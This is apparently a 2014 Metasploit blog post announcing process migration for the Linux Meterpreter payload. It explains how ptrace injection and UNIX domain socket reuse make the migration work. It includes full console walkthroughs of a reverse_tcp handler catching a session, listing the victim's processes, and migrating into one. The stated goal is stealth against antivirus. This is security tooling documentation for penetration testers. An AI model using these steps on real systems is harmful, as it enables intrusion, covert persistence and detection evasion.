Last updated at Wed, 07 Apr 2021 18:35:48 GMT
This post is the eleventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.
Hello everyone and Happy HaXmas (again) and New Year! On this HaXmas I would like to share with all you a new feature which I'm personally very happy with. It's nothing super new and has limitations, but it's the first meterpreter feature where I've been collaborating I feel really happy of sharing it with all you: support to migrate the Linux meterpreter payload.
Before going ahead, let me clarify something, as you can read on the meterpreter github page:
For some value of "working." Meterpreter in POSIX environments is not considered stable. It does stuff, but expect occasional problems.
Unfortunately it applies to the process migration feature too :. So be careful when using linux meterpreter and this feature on your pentest! You can experience reliability problems :\ Hopefully these lines also will help to explain limitations and how to use the feature!
Requirement #1: From memory
First of all, linux migrate tries to be "imitate" the windows migrate behavior. It means there is an important requirement, migration should happen from memory, without dropping meterpreter to disk. On windows it's accomplished with the well-known OpenProcess, WriteProcessMemory, CreateRemoteThread, etc. IPC APIs. But these aren't available on Linux, where we decided to use the "ptrace" interface to modify a process memory, registers and control execution. Unfortunately, it introduces the first caveats:
- On modern Linux distributions, ptrace restrictions use to apply, so migration isn't always possible.
- Once the meterpreter code is injected in the target process, original process execution is replaced. It means the target process won't do its original task anymore, once migration has been accomplished.
That said, how to use it? On older systems, where ptrace limitations are not in use, say for example Ubuntu 10.04 (32 bits), the migration usage is straightforward. It's something like that:
- Get a meterpreter session on your target:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.55.1
LHOST => 172.16.55.1
msf exploit(handler) > exploit
[*] Started reverse handler on 172.16.55.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1142784 bytes) to 172.16.55.1
[*] Meterpreter session 1 opened (172.16.55.1:4444 -> 172.16.55.1:54901) at 2014-12-31 10:43:02 -0600
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter >
- Use the
pscommand to find a target process. There are some things to remember:
- The session user must own the target process.
- Use interruptible (or running) processes as targets.
- The target process won't do its original task after migration.
- Remember which linux meterpreter is only available on 32 bits, so even when running on a 64 bits system, the meterpreter process will be a 32 bits one. And the migration target process must be a 32 bits one too.
meterpreter > ps -U juan
Filtering on user name...
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
1894 1 gnome-keyring-d 0 juan /usr/bin/gnome-keyring-daemon --daemonize --login
1912 1220 gnome-session 0 juan gnome-session
1946 1912 ssh-agent 0 juan /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session gnome-session
1949 1 dbus-launch 0 juan /usr/bin/dbus-launch --exit-with-session gnome-session
1950 1 dbus-daemon 0 juan /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
1953 1 gconfd-2 0 juan /usr/lib/libgconf2-4/gconfd-2
1960 1 gnome-settings- 0 juan /usr/lib/gnome-settings-daemon/gnome-settings-daemon
1962 1 gvfsd 0 juan /usr/lib/gvfs/gvfsd
1970 1 gvfs-fuse-daemo 0 juan /usr/lib/gvfs//gvfs-fuse-daemon /home/juan/.gvfs
1971 1 vmtoolsd 0 juan /usr/lib/vmware-tools/sbin32/vmtoolsd -n vmusr --blockFd 3
1972 1912 polkit-gnome-au 0 juan /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1
1975 1912 gnome-panel 0 juan gnome-panel
1978 1912 metacity 0 juan metacity --replace
1981 1912 nm-applet 0 juan nm-applet --sm-disable
1983 1 pulseaudio 0 juan /usr/bin/pulseaudio --start --log-target=syslog
1984 1912 nautilus 0 juan nautilus
1985 1912 gnome-power-man 0 juan gnome-power-manager
1986 1912 bluetooth-apple 0 juan bluetooth-applet
1995 1983 gconf-helper 0 juan /usr/lib/pulseaudio/pulse/gconf-helper
2020 1 gvfs-gdu-volume 0 juan /usr/lib/gvfs/gvfs-gdu-volume-monitor
2025 1 bonobo-activati 0 juan /usr/lib/bonobo-activation/bonobo-activation-server --ac-activate --ior-output-fd=19
2028 1 gvfs-gphoto2-vo 0 juan /usr/lib/gvfs/gvfs-gphoto2-volume-monitor
2031 1 gvfsd-trash 0 juan /usr/lib/gvfs/gvfsd-trash --spawner :1.6 /org/gtk/gvfs/exec_spaw/0
2032 1 gvfs-afc-volume 0 juan /usr/lib/gvfs/gvfs-afc-volume-monitor
2045 1 wnck-applet 0 juan /usr/lib/gnome-panel/wnck-applet --oaf-activate-iid=OAFIID:GNOME_Wncklet_Factory --oaf-ior-fd=18
2046 1 trashapplet 0 juan /usr/lib/gnome-applets/trashapplet --oaf-activate-iid=OAFIID:GNOME_Panel_TrashApplet_Factory --oaf-ior-fd=24
2054 1 clock-applet 0 juan /usr/lib/gnome-panel/clock-applet --oaf-activate-iid=OAFIID:GNOME_ClockApplet_Factory --oaf-ior-fd=21
2055 1 notification-ar 0 juan /usr/lib/gnome-panel/notification-area-applet --oaf-activate-iid=OAFIID:GNOME_NotificationAreaApplet_Factory --oaf-ior-fd=30
2058 1 indicator-apple 0 juan /usr/lib/indicator-applet/indicator-applet-session --oaf-activate-iid=OAFIID:GNOME_FastUserSwitchApplet_Factory --oaf-ior-fd=36
2059 1 indicator-apple 0 juan /usr/lib/indicator-applet/indicator-applet --oaf-activate-iid=OAFIID:GNOME_IndicatorApplet_Factory --oaf-ior-fd=42
2075 1 gvfsd-metadata 0 juan /usr/lib/gvfs/gvfsd-metadata
2076 1 indicator-me-se 0 juan /usr/lib/indicator-me/indicator-me-service
2078 1 indicator-messa 0 juan /usr/lib/indicator-messages/indicator-messages-service
2097 1 indicator-sessi 0 juan /usr/lib/indicator-session/indicator-session-service
2098 1 indicator-appli 0 juan /usr/lib/indicator-application/indicator-application-service
2099 1 indicator-sound 0 juan /usr/lib/indicator-sound/indicator-sound-service
2109 1 gvfsd-burn 0 juan /usr/lib/gvfs/gvfsd-burn --spawner :1.6 /org/gtk/gvfs/exec_spaw/1
2112 1 gnome-terminal 0 juan gnome-terminal
2114 1 gnome-screensav 0 juan gnome-screensaver
2115 2112 gnome-pty-helpe 0 juan gnome-pty-helper
2116 2112 bash 0 juan bash
2147 1912 gdu-notificatio 0 juan /usr/lib/gnome-disk-utility/gdu-notification-daemon
2159 1912 evolution-alarm 0 juan /usr/lib/evolution/2.28/evolution-alarm-notify
2160 1912 python 0 juan python /usr/share/system-config-printer/applet.py
2168 1912 update-notifier 0 juan update-notifier
2310 2112 bash 0 juan bash
2745 1 notify-osd 0 juan /usr/lib/notify-osd/notify-osd
2846 2112 bash 0 juan bash
2989 1 gvim 0 juan gvim
2991 2112 bash 0 juan bash
3378 1 [gedit] <defunct> 0 juan
5965 2846 gdb 0 juan gdb /bin/ls
17323 2991 [dummy] <defunct> 0 juan
18063 2310 msf.elf 0 juan ./msf.elf
18084 1 gcalctool 0 juan gcalctool
23799 1 [gedit] <defunct> 0 juan
On the case above the "gcalctool" process looks like a good candidate for this DEMO. Of course, wouldn't be the best candidate on a real intrusion, since probably the calculator won't have a long live. The easy way to use the feature is jut to provide the target PID:
meterpreter > migrate 18084
[*] Migrating to 18084
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 18084
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter >
Requirement #2: Reuse the original socket
As a second requirement, in order to imitate the windows behavior the meterpreter session socket will be reused. On Windows a socket can be duplicate on a remote process with WSADuplicateSocket. But such API doesn't exist on Linux as far as I know, you cannot dup() a socket on a process which isn't a child. Luckily UNIX domain sockets can be used with one caveat, they will use filesystem (which breaks the first requirement).
The most important reason for "in-memory" migration is to remain stealthy, avoiding security products such as antivirus monitoring filesystem. Hopefully, antivirus won't catch an UNIX Domain socket used just to share a socket as malicious, what makes us think it is not so bad! By default the UNIX domain socket will be written to "/tmp", but you can specify an alternate directory with an optional second argument which the command accepts:
meterpreter > migrate -h
Usage: migrate <pid> [writable_path]
Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.
meterpreter > migrate 2075 /home/juan/.pulse
[*] Migrating to 2075
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 2075
And that's all for this HaXmas and introduction to linux meterpreter migration! As always, remember which the meterpreter code is also open source if you're interested on the details! And there is a lot of work to do with the Linux meterpreter, improving its reliability and features. It's a really interesting code to work with, with lot of awaiting joys . So, if you interested in collaborate with Metasploit it is definitely a good option to look at!
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.
